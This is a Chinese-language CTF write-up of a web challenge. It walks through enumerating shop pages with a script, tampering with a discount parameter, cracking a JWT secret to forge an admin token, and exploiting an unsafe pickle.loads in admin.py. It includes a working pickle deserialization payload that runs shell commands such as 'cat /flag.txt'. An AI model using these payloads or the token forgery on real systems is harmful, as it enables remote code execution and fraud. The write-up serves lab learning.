[CISCN2019 华北赛区 Day1 Web2]ikun

Python脚本的编写

先随便注册一个账号,返回/shop路由,观察到以下的提示:

image-20240509160801598

在商店中找了半天也没法找到lv6的账号。

打开网页源代码,发现每个不同等级的账号的都有这样的“标识”:

image-20240509161253032

这是一个利用点,我们可以编写如下的python脚本:

1
2
3
4
5
6
7
8
import requests

for i in range(1,1000):
res = requests.get(url = f'http://a33649c7-1b4d-446e-8c90-3818446701a7.node5.buuoj.cn:81/shop?page={i}')
print(i)
if 'lv6.png' in res.text:
print(i)
break

代码比较简单这里不再赘述,这个脚本跑得比较慢,最后出来结果是i=181,然后来到181页,果然看到了6级号:

image-20240509161656649

使用burp抓包改优惠值

用burpsuite抓结算的包:
image-20240509163909499

重点关注到左下角那个discount=0.8,把它修改到0.00000001,打到巨便宜的价格,然后直接购买,之后发现返回了一个新的路由:
image-20240509164021642

直接跟进。

JWT的伪造

进入后如图所示:
image-20240509164115108

二话不说抓个包看看怎么个事:
image-20240509164241451

一眼丁真,鉴定为需要JWT伪造,但是伪造的前提是我们要知晓JWT的秘钥,这里用到了一个工具:jwt-cracker。

用法:

把压缩后的文件拖入我的kali-linux虚拟机中,在当前的文件夹下调出控制台,输入:./jwtcrack jwt值

一会儿就爆出来了它的秘钥:

image-20240509164633233

拿着这个秘钥去jwt.io网站伪造成admin用户:

image-20240509164733843

pickle反序列化

接着拿着这个jwt重新访问:
image-20240509164823063

image-20240509164859397

网页源代码中发现不得了的东西,直接下载下来:
审计下源码,重点关注到admin.py中:

1
2
3
4
5
6
7
8
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become') #在post方法中获取become的参数值
p = pickle.loads(urllib.unquote(become)) #把become值进行url解码,并对其进行反序列化
return self.render('form.html', res=p, member=1) #把结果渲染到form.html中
except:
return self.render('form.html', res='This is Black Technology!', member=0)

这边有一个反序列化函数,而become的值是可以控制的。

所以可以利用如下的EXP,生成payload:

1
2
3
4
5
6
7
8
9
import pickle
import urllib.parse
import os
class payload(object):
def __reduce__(self):
return (eval,("__import__('os').popen('ls /').read()",))

a = pickle.dumps(payload(),protocol=0)
print(urllib.parse.quote(a))

payload通过POST方式传入即可看到回显。

最终payload:

1
c__builtin__%0Aeval%0Ap0%0A%28V__import__%28%27os%27%29.popen%28%27cat%20/flag.txt%27%29.read%28%29%0Ap1%0Atp2%0ARp3%0A.

image-20240509183002018